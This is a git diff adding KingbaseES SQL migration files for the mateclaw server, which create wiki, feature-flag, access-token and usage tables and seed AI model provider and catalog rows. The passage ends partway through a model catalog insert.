@@ -0,0 +1,16 @@ +-- V75: Per-model HTTP read timeout (RFC-03 Lane B1). +-- Lets thinking models (o1-pro, claude opus extended-thinking, qwen3-max +-- with deep reasoning) override the default 180s read timeout when their +-- p99 legitimately exceeds it. Null / zero keeps the existing global +-- default — no behavior change for existing rows. +-- +-- MySQL lacks ADD COLUMN IF NOT EXISTS; use INFORMATION_SCHEMA guard. +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_model_config' AND column_name = 'request_timeout_seconds' + ) THEN + ALTER TABLE mate_model_config ADD COLUMN request_timeout_seconds INT DEFAULT NULL; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V76__personal_access_token.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V76__personal_access_token.sql new file mode 100644 index 00000000..f71a7adb --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V76__personal_access_token.sql @@ -0,0 +1,24 @@ +-- V76: Personal Access Token (RFC-03 Lane I1). +-- Lets headless / CI / SDK callers authenticate without going through +-- the interactive JWT login flow. Tokens are stored as SHA-256 hashes — +-- a DB compromise reveals which user owns which token but never the +-- plaintext value the user sees once at creation time. +-- +-- token_hash is the lookup key (UNIQUE) so the auth filter can do a +-- single indexed query on every authenticated request. + +CREATE TABLE IF NOT EXISTS mate_personal_access_token ( + id BIGINT NOT NULL PRIMARY KEY, + user_id BIGINT NOT NULL, + name VARCHAR(64), + token_hash CHAR(64) NOT NULL, + scopes VARCHAR(255), + last_used_at TIMESTAMP NULL, + expires_at TIMESTAMP NULL, + enabled BOOLEAN DEFAULT TRUE, + create_time TIMESTAMP NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP NULL DEFAULT CURRENT_TIMESTAMP , + deleted INT DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_pat_token_hash ON mate_personal_access_token (token_hash); +CREATE INDEX IF NOT EXISTS idx_pat_user_id ON mate_personal_access_token (user_id); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V77__wiki_relation_table.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V77__wiki_relation_table.sql new file mode 100644 index 00000000..71030948 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V77__wiki_relation_table.sql @@ -0,0 +1,41 @@ +-- mate_wiki_relation: persistent cache of page-to-page multi-signal relations. +-- +-- Distinct from mate_wiki_page_citation, which models page-to-chunk citations. +-- A row here represents one directed (or undirected, see notes below) edge in +-- the wiki page graph for a given knowledge base, materializing: +-- * the aggregate relevance score across registered signal strategies +-- (direct link, shared chunk, shared raw, semantic similarity, ...) +-- * a per-signal breakdown for explainability +-- * an optional taxonomy tag (mention / cite / supports / contradicts / +-- extends) populated by the planning stage of the compile pipeline +-- * confidence + evidence snippets sourced from the same compile output +-- * cache invalidation metadata so readers can decide whether to recompute + +CREATE TABLE IF NOT EXISTS mate_wiki_relation ( + id BIGINT PRIMARY KEY, + kb_id BIGINT NOT NULL, + page_a_id BIGINT NOT NULL, + page_b_id BIGINT NOT NULL, + + total_score DECIMAL(8, 4), + signals_json TEXT, + + type VARCHAR(32), + + confidence VARCHAR(16), + evidence TEXT, + evidence_raw_id BIGINT, + + source VARCHAR(32), + + computed_at TIMESTAMP(3), + computed_hash VARCHAR(64), + + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP , + deleted SMALLINT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_wr_pair ON mate_wiki_relation (kb_id, page_a_id, page_b_id, deleted); +CREATE INDEX IF NOT EXISTS idx_wr_page_a ON mate_wiki_relation (kb_id, page_a_id, total_score DESC); +CREATE INDEX IF NOT EXISTS idx_wr_kb_score ON mate_wiki_relation (kb_id, total_score DESC); +CREATE INDEX IF NOT EXISTS idx_wr_computed_at ON mate_wiki_relation (computed_at); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V78__feature_flag.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V78__feature_flag.sql new file mode 100644 index 00000000..d980d495 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V78__feature_flag.sql @@ -0,0 +1,36 @@ +-- mate_feature_flag: runtime-toggleable feature flag store. +-- +-- Each row defines one named flag with optional KB / user whitelists and +-- a percentage rollout. Reads go through an in-memory cache that refreshes +-- on a 30-second timer (and immediately on admin write); the cache is +-- per-instance so multi-instance deployments converge within one tick. + +CREATE TABLE IF NOT EXISTS mate_feature_flag ( + id BIGSERIAL PRIMARY KEY, + flag_key VARCHAR(128) NOT NULL, + enabled BOOLEAN NOT NULL DEFAULT FALSE, + description VARCHAR(512), + whitelist_kb_ids TEXT, + whitelist_user_ids TEXT, + rollout_percent INT DEFAULT 0, + + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP , + deleted SMALLINT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_mff_key ON mate_feature_flag (flag_key); +CREATE INDEX IF NOT EXISTS idx_mff_key_flag ON mate_feature_flag (flag_key, enabled, deleted); + +-- Seed wiki feature flags with safe defaults. ON DUPLICATE KEY UPDATE +-- preserves existing operator overrides on re-run. +INSERT INTO mate_feature_flag (flag_key, enabled, description) VALUES + ('wiki.ocr.enabled', FALSE, 'Image OCR / vision-in pipeline for wiki uploads'), + ('wiki.compile.4stage.enabled', FALSE, 'Four-stage knowledge base compilation pipeline'), + ('wiki.compile.cache.enabled', FALSE, 'Prompt cache layer for the wiki compile pipeline'), + ('wiki.confidence.enabled', FALSE, 'Confidence taxonomy on wiki relations and pages'), + ('wiki.hot_cache.enabled', FALSE, 'KB-level recent-activity snapshot injected into agent system prompt'), + ('wiki.graph.insights.enabled', FALSE, 'Wiki graph insights panel (surprising connections, gaps, bridges)'), + ('wiki.graph.adamic_adar.enabled', FALSE, 'Adamic-Adar graph signal (additive to existing four signals)'), + ('wiki.graph.boundary.enabled', FALSE, 'Boundary score for surfacing dangling pages'), + ('wiki.relation.cache.enabled', TRUE, 'Persistent cache for wiki page-to-page relation computation') +ON CONFLICT (flag_key) DO UPDATE SET description = EXCLUDED.description; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V79__wiki_image_caption_cache.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V79__wiki_image_caption_cache.sql new file mode 100644 index 00000000..a6ba1c9a --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V79__wiki_image_caption_cache.sql @@ -0,0 +1,32 @@ +-- mate_wiki_image_caption_cache: SHA-256 keyed image caption store. +-- +-- Cache is shared across all knowledge bases — the same image bytes +-- uploaded twice (in different KBs, by different users, or to the same +-- KB at different times) cost exactly one vision-LLM call total. +-- +-- The cache is content-addressed by raw image bytes; perceptual variations +-- (re-encoded JPEG, slightly cropped) are intentionally treated as misses. +-- A second-tier perceptual hash can be added later if the miss rate +-- becomes a cost concern. + +CREATE TABLE IF NOT EXISTS mate_wiki_image_caption_cache ( + id BIGINT PRIMARY KEY, + image_sha256 CHAR(64) NOT NULL, + + caption TEXT NOT NULL, + visible_text TEXT, + mime_type VARCHAR(64), + + capture_model VARCHAR(128) NOT NULL, + provider_id VARCHAR(64) NOT NULL, + + duration_ms BIGINT, + hit_count BIGINT NOT NULL DEFAULT 0, + + captured_at TIMESTAMP(3) NOT NULL, + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP , + deleted SMALLINT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_wicc_sha ON mate_wiki_image_caption_cache (image_sha256); +CREATE INDEX IF NOT EXISTS idx_wicc_captured ON mate_wiki_image_caption_cache (captured_at); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V7__wiki_last_processed_hash.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V7__wiki_last_processed_hash.sql new file mode 100644 index 00000000..ec7050bb --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V7__wiki_last_processed_hash.sql @@ -0,0 +1,12 @@ +-- V7: Add last_processed_hash to mate_wiki_raw_material for skip-if-unchanged optimization +-- RFC-012 Change 5: when reprocessing, skip LLM pipeline if content_hash == last_processed_hash +-- MySQL lacks ADD COLUMN IF NOT EXISTS; use INFORMATION_SCHEMA guard instead. +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_raw_material' AND column_name = 'last_processed_hash' + ) THEN + ALTER TABLE mate_wiki_raw_material ADD COLUMN last_processed_hash VARCHAR(64) DEFAULT NULL; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V80__wiki_raw_material_mime_type.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V80__wiki_raw_material_mime_type.sql new file mode 100644 index 00000000..14948ab2 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V80__wiki_raw_material_mime_type.sql @@ -0,0 +1,8 @@ +-- Adds the MIME type column to mate_wiki_raw_material so the upload pipeline +-- can route uploads to the right downstream extractor. Image source types +-- in particular need the original Content-Type to pick a vision provider +-- and to render previews correctly without re-sniffing the file. +-- +-- KingbaseES (PostgreSQL) supports ADD COLUMN IF NOT EXISTS natively. + +ALTER TABLE mate_wiki_raw_material ADD COLUMN IF NOT EXISTS mime_type VARCHAR(64); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V81__refresh_bailian_qwen_catalog.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V81__refresh_bailian_qwen_catalog.sql new file mode 100644 index 00000000..4abddefc --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V81__refresh_bailian_qwen_catalog.sql @@ -0,0 +1,49 @@ +-- Refresh the Bailian (Aliyun Model Studio) Qwen catalog to match the 2026 Q2 +-- model lineup, and remove a non-existent model id that triggered 400 +-- InvalidParameter on the native text-generation endpoint. +-- +-- Why now: +-- * Reported user error: "Bad request, please check input (type=MODEL_NOT_FOUND)" +-- when chatting with the seeded "Qwen3 Plus" entry. +-- * Root cause: model id qwen3-plus does not exist on Bailian. The real +-- balanced Qwen3 series uses dotted minor versions (qwen3.5-plus, +-- qwen3.6-plus); plain qwen3-plus was never published. DashScope's +-- native endpoint rejects it with [InvalidParameter], which our +-- failover classifier maps to MODEL_NOT_FOUND and evicts the entire +-- dashscope provider from the pool. +-- +-- Two-part fix: +-- 1. Soft-delete the bogus qwen3-plus row (id 1000000172). +-- 2. Seed three latest-snapshot trackers on the dashscope native provider +-- (qwen-plus-latest / qwen-max-latest / qwen-turbo-latest) and six +-- newer Qwen3 series models on the bailian-team OpenAI-compat provider +-- where they are documented to work (vision + flash + coder + 3.6 snapshot). + +-- 1. Soft-delete the bogus model id (idempotent). +UPDATE mate_model_config + SET deleted = 1, enabled = FALSE, update_time = NOW() + WHERE id = 1000000172 + AND model_name = 'qwen3-plus'; + +-- 2a. Latest-snapshot trackers on dashscope native (text-generation endpoint). +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, model_type, create_time, update_time, deleted) +VALUES +(1000000174, 'Qwen Plus (latest)', 'dashscope', 'qwen-plus-latest', 'Latest stable snapshot of Qwen Plus — auto-updates as Bailian rolls new releases.', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000175, 'Qwen Max (latest)', 'dashscope', 'qwen-max-latest', 'Latest stable snapshot of Qwen Max — strongest reasoning capability.', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000176, 'Qwen Turbo (latest)', 'dashscope', 'qwen-turbo-latest', 'Latest stable snapshot of Qwen Turbo — low latency, high frequency.', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, model_type=EXCLUDED.model_type, update_time=EXCLUDED.update_time; + +-- 2b. Newer Qwen3 series on the bailian-team OpenAI-compat token plan endpoint. +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, model_type, create_time, update_time, deleted) +VALUES +(1000000407, 'Qwen 3.5 Plus', 'bailian-team', 'qwen3.5-plus', 'Bailian Token Plan — Qwen3.5 balanced flagship, hybrid thinking, 128K context.', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000408, 'Qwen 3.5 Flash', 'bailian-team', 'qwen3.5-flash', 'Bailian Token Plan — Qwen3.5 fast variant, lower latency for high-frequency calls.', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000409, 'Qwen3 VL Plus', 'bailian-team', 'qwen3-vl-plus', 'Bailian Token Plan — Qwen3 vision-language flagship, image + video understanding.', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000410, 'Qwen3 VL Flash', 'bailian-team', 'qwen3-vl-flash', 'Bailian Token Plan — Qwen3 vision-language fast variant for high-throughput vision.', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000411, 'Qwen3 Coder Plus', 'bailian-team', 'qwen3-coder-plus', 'Bailian Token Plan — Qwen3 coding flagship, agentic code editing and tool use.', 0.2, 8192, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000412, 'Qwen 3.6 Plus 2026-04-02', 'bailian-team', 'qwen3.6-plus-2026-04-02', 'Bailian Token Plan — pinned snapshot of Qwen 3.6 Plus released 2026-04-02.', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000413, 'Qwen 3.6 Max (preview)', 'bailian-team', 'qwen3.6-max-preview', 'Bailian Token Plan — Qwen3.6 Max preview, strongest reasoning in the 3.6 lineup.', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000414, 'Qwen 3.6 Flash', 'bailian-team', 'qwen3.6-flash', 'Bailian Token Plan — Qwen3.6 fast variant, hybrid thinking mode default-on.', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000415, 'Qwen 3.6 Flash 2026-04-16', 'bailian-team', 'qwen3.6-flash-2026-04-16', 'Bailian Token Plan — pinned snapshot of Qwen 3.6 Flash released 2026-04-16.', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0), +(1000000416, 'Qwen 3.5 Omni Plus', 'bailian-team', 'qwen3.5-omni-plus', 'Bailian Token Plan — Qwen3.5 omni-modal plus, text + vision + audio in/out.', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, 'chat', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, model_type=EXCLUDED.model_type, update_time=EXCLUDED.update_time; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V82__wiki_hot_cache.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V82__wiki_hot_cache.sql new file mode 100644 index 00000000..ed692871 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V82__wiki_hot_cache.sql @@ -0,0 +1,30 @@ +-- mate_wiki_hot_cache: KB-level rolling snapshot of "what happened recently" +-- in this knowledge base, injected into the agent system prompt so the model +-- doesn't have to wiki_search the obvious every turn. +-- +-- One row per KB (uk_whc_kb). Body is markdown rendered from a four-section +-- structure (Last Updated / Key Recent Facts / Recent Changes / Active Threads), +-- regenerated by an LLM call after compile/page/conversation events; this +-- migration only provisions storage. Consumers and updater land in later PRs. + +CREATE TABLE IF NOT EXISTS mate_wiki_hot_cache ( + id BIGINT PRIMARY KEY, + kb_id BIGINT NOT NULL, + + content TEXT, + content_hash CHAR(64), + + last_updated TIMESTAMP(3), + update_reason VARCHAR(32), + + rebuild_count BIGINT NOT NULL DEFAULT 0, + last_rebuild_started_at TIMESTAMP(3), + last_rebuild_duration_ms BIGINT, + last_rebuild_error VARCHAR(512), + + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP , + deleted SMALLINT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_whc_kb ON mate_wiki_hot_cache (kb_id, deleted); +CREATE INDEX IF NOT EXISTS idx_whc_kb ON mate_wiki_hot_cache (kb_id, deleted); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V84__widen_raw_material_mime_type.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V84__widen_raw_material_mime_type.sql new file mode 100644 index 00000000..f2a5ae8c --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V84__widen_raw_material_mime_type.sql @@ -0,0 +1,7 @@ +-- V80 created mate_wiki_raw_material.mime_type as VARCHAR(64). Office Open +-- XML Content-Types blow that on the very first upload — docx is 71 chars, +-- pptx is 73, xlsx is 65 — so any user uploading a Word / Excel / PowerPoint +-- file hits "Data truncation: Data too long for column 'mime_type'". +-- Widen to 255 (covers any registered RFC 6838 type with parameters). + +ALTER TABLE mate_wiki_raw_material ALTER COLUMN mime_type TYPE VARCHAR(255); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V85__ckjia_mcp_seed.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V85__ckjia_mcp_seed.sql new file mode 100644 index 00000000..d160ac5a --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V85__ckjia_mcp_seed.sql @@ -0,0 +1,28 @@ +-- Seed ckjia-shopping MCP server config (disabled by default). +-- The localhost URL below is a dev/test placeholder only. Production admins +-- must replace it in Settings > MCP Connections with the official CKJIA SaaS +-- domain or their private CKJIA deployment URL before enabling the server, +-- then configure CKJIA_MCP_KEY for authorization. +-- +-- Column name is url (not endpoint) per McpServerEntity. +-- headers_json uses ${CKJIA_MCP_KEY} placeholder so the plaintext API key +-- never lands in the database (parseHeaders expands env vars at request time). + +-- mate_mcp_server.id is BIGINT NOT NULL PRIMARY KEY without DB-side auto-increment; +-- production uses MyBatis Plus Snowflake at insert time, but Flyway bypasses that. +-- Following existing seed convention (1000000901=filesystem, 1000000902=github), +-- ckjia-shopping takes 1000000903. +INSERT INTO mate_mcp_server ( + id, name, transport, url, headers_json, enabled, description, + connect_timeout_seconds, read_timeout_seconds, builtin, create_time, update_time, deleted +) +SELECT 1000000903, + 'ckjia-shopping', + 'sse', + 'http://localhost:8085/sse', + '{"Authorization": "Bearer ${CKJIA_MCP_KEY}"}', + FALSE, + 'CKJIA price comparison MCP server. Disabled by default; replace the dev/test localhost URL with the production CKJIA domain before enabling.', + 30, 30, TRUE, + NOW(), NOW(), 0 +WHERE NOT EXISTS (SELECT 1 FROM mate_mcp_server WHERE name = 'ckjia-shopping'); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V87__skill_usage_stat.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V87__skill_usage_stat.sql new file mode 100644 index 00000000..c19941b3 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V87__skill_usage_stat.sql @@ -0,0 +1,17 @@ +CREATE TABLE IF NOT EXISTS mate_skill_usage_stat ( + id BIGINT PRIMARY KEY, + skill_name VARCHAR(128) NOT NULL, + skill_id BIGINT, + agent_id BIGINT NOT NULL DEFAULT 0, + conversation_id VARCHAR(128) NOT NULL DEFAULT '', + load_count BIGINT NOT NULL DEFAULT 0, + last_loaded_at TIMESTAMP(3), + last_file_path VARCHAR(512), + last_token_estimate INT, + create_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + update_time TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP , + deleted SMALLINT NOT NULL DEFAULT 0 +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_skill_usage_scope ON mate_skill_usage_stat (skill_name, agent_id, conversation_id); +CREATE INDEX IF NOT EXISTS idx_skill_usage_agent_recent ON mate_skill_usage_stat (agent_id, last_loaded_at); +CREATE INDEX IF NOT EXISTS idx_skill_usage_name_recent ON mate_skill_usage_stat (skill_name, last_loaded_at); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V88__convert_default_agent_icons_to_pixelart.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V88__convert_default_agent_icons_to_pixelart.sql new file mode 100644 index 00000000..490a0d4f --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V88__convert_default_agent_icons_to_pixelart.sql @@ -0,0 +1,8 @@ +-- Convert the three default seed agents from emoji to pixelarticons icons. +-- The card UI now treats pi: as an inline pixel-art SVG, so the +-- defaults need to match. Guarded with the original emoji so a user who +-- already customised the icon keeps their choice; non-seed (user-created) +-- agents are intentionally untouched. +UPDATE mate_agent SET icon = 'pi:robot-face-happy' WHERE id = 1000000001 AND icon = '🤖'; +UPDATE mate_agent SET icon = 'pi:clipboard-note' WHERE id = 1000000002 AND icon = '📋'; +UPDATE mate_agent SET icon = 'pi:cpu' WHERE id = 1000000003 AND icon = '🔄'; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V89__chatgpt_oauth_model_discovery.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V89__chatgpt_oauth_model_discovery.sql new file mode 100644 index 00000000..587afcbe --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V89__chatgpt_oauth_model_discovery.sql @@ -0,0 +1,16 @@ +-- Enable model discovery on the ChatGPT OAuth provider so the catalog can be +-- pulled live from chatgpt.com/backend-api/codex/models, and seed the GPT-5.5 +-- flagship row alongside the existing GPT-5.4 / GPT-5.4 Mini entries. The +-- ON DUPLICATE KEY UPDATE clause keeps the migration idempotent. + +UPDATE mate_model_provider + SET support_model_discovery = TRUE, + update_time = CURRENT_TIMESTAMP + WHERE provider_id = 'openai-chatgpt' + AND support_model_discovery <> TRUE; + +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000252, 'GPT-5.5', 'openai-chatgpt', 'gpt-5.5', 'ChatGPT Plus/Pro flagship model', NULL, 128000, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name = EXCLUDED.name, + description = EXCLUDED.description, + update_time = NOW(); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V8__wiki_raw_progress.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V8__wiki_raw_progress.sql new file mode 100644 index 00000000..5c68c824 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V8__wiki_raw_progress.sql @@ -0,0 +1,33 @@ +-- V8: wiki raw material two-phase digest progress fields, for UI progress bar +-- RFC-012 M2 v2 UI follow-up: expose per-raw progress (current phase + pages done / total planned) +-- so the frontend can render a determinate progress bar instead of an opaque "处理中" badge. +-- MySQL lacks ADD COLUMN IF NOT EXISTS; use INFORMATION_SCHEMA guard instead. +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_raw_material' AND column_name = 'progress_phase' + ) THEN + ALTER TABLE mate_wiki_raw_material ADD COLUMN progress_phase VARCHAR(32) DEFAULT NULL; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_raw_material' AND column_name = 'progress_total' + ) THEN + ALTER TABLE mate_wiki_raw_material ADD COLUMN progress_total INT DEFAULT 0; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_raw_material' AND column_name = 'progress_done' + ) THEN + ALTER TABLE mate_wiki_raw_material ADD COLUMN progress_done INT DEFAULT 0; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V90__zhipu_coding_plan_provider.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V90__zhipu_coding_plan_provider.sql new file mode 100644 index 00000000..acdfb871 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V90__zhipu_coding_plan_provider.sql @@ -0,0 +1,85 @@ +-- V90: register coding-plan subscription endpoints as separate providers +-- with their own pre-seeded model catalogs. See the H2 copy for full +-- background. Covers: zhipu-cn-codingplan, zhipu-intl-codingplan, and +-- aliyun-codingplan-intl. + +-- -- Zhipu Coding Plan (China) ---------------------------------------------- +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('zhipu-cn-codingplan', 'Zhipu Coding Plan (BigModel)', '', 'OpenAIChatModel', '', 'https://open.bigmodel.cn/api/coding/paas/v4', '{"completionsPath":"/chat/completions"}', FALSE, FALSE, FALSE, FALSE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name = EXCLUDED.name, + chat_model = EXCLUDED.chat_model, + base_url = EXCLUDED.base_url, + generate_kwargs = EXCLUDED.generate_kwargs, + support_model_discovery = EXCLUDED.support_model_discovery, + support_connection_check = EXCLUDED.support_connection_check, + freeze_url = EXCLUDED.freeze_url, + require_api_key = EXCLUDED.require_api_key, + update_time = EXCLUDED.update_time; + +-- -- Zhipu Coding Plan (International) --------------------------------------- +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('zhipu-intl-codingplan', 'Zhipu Coding Plan (Z.AI)', '', 'OpenAIChatModel', '', 'https://api.z.ai/api/coding/paas/v4', '{"completionsPath":"/chat/completions"}', FALSE, FALSE, FALSE, FALSE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name = EXCLUDED.name, + chat_model = EXCLUDED.chat_model, + base_url = EXCLUDED.base_url, + generate_kwargs = EXCLUDED.generate_kwargs, + support_model_discovery = EXCLUDED.support_model_discovery, + support_connection_check = EXCLUDED.support_connection_check, + freeze_url = EXCLUDED.freeze_url, + require_api_key = EXCLUDED.require_api_key, + update_time = EXCLUDED.update_time; + +-- -- Aliyun DashScope Coding Plan (International) --------------------------- +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('aliyun-codingplan-intl', 'Aliyun Coding Plan (International)', 'sk-sp', 'OpenAIChatModel', '', 'https://coding-intl.dashscope.aliyuncs.com/v1', '{}', FALSE, FALSE, FALSE, FALSE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name = EXCLUDED.name, + api_key_prefix = EXCLUDED.api_key_prefix, + chat_model = EXCLUDED.chat_model, + base_url = EXCLUDED.base_url, + generate_kwargs = EXCLUDED.generate_kwargs, + support_model_discovery = EXCLUDED.support_model_discovery, + support_connection_check = EXCLUDED.support_connection_check, + freeze_url = EXCLUDED.freeze_url, + require_api_key = EXCLUDED.require_api_key, + update_time = EXCLUDED.update_time; + +-- -- Zhipu Coding Plan model catalog ---------------------------------------- +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES + (1000000230, 'GLM-5 Coding', 'zhipu-cn-codingplan', 'glm-5', '智谱编码套餐 — GLM-5 旗舰', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000231, 'GLM-5.1 Coding', 'zhipu-cn-codingplan', 'glm-5.1', '智谱编码套餐 — GLM-5.1 最新旗舰', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000232, 'GLM-5-Turbo Coding', 'zhipu-cn-codingplan', 'glm-5-turbo', '智谱编码套餐 — GLM-5 高速版', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000233, 'GLM-4.7 Coding', 'zhipu-cn-codingplan', 'glm-4.7', '智谱编码套餐 — GLM-4.7', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000234, 'GLM-5 Coding', 'zhipu-intl-codingplan', 'glm-5', 'Zhipu Coding Plan — GLM-5 flagship', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000235, 'GLM-5.1 Coding', 'zhipu-intl-codingplan', 'glm-5.1', 'Zhipu Coding Plan — GLM-5.1 latest flagship', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000236, 'GLM-5-Turbo Coding', 'zhipu-intl-codingplan', 'glm-5-turbo', 'Zhipu Coding Plan — GLM-5 fast variant', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000237, 'GLM-4.7 Coding', 'zhipu-intl-codingplan', 'glm-4.7', 'Zhipu Coding Plan — GLM-4.7', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, 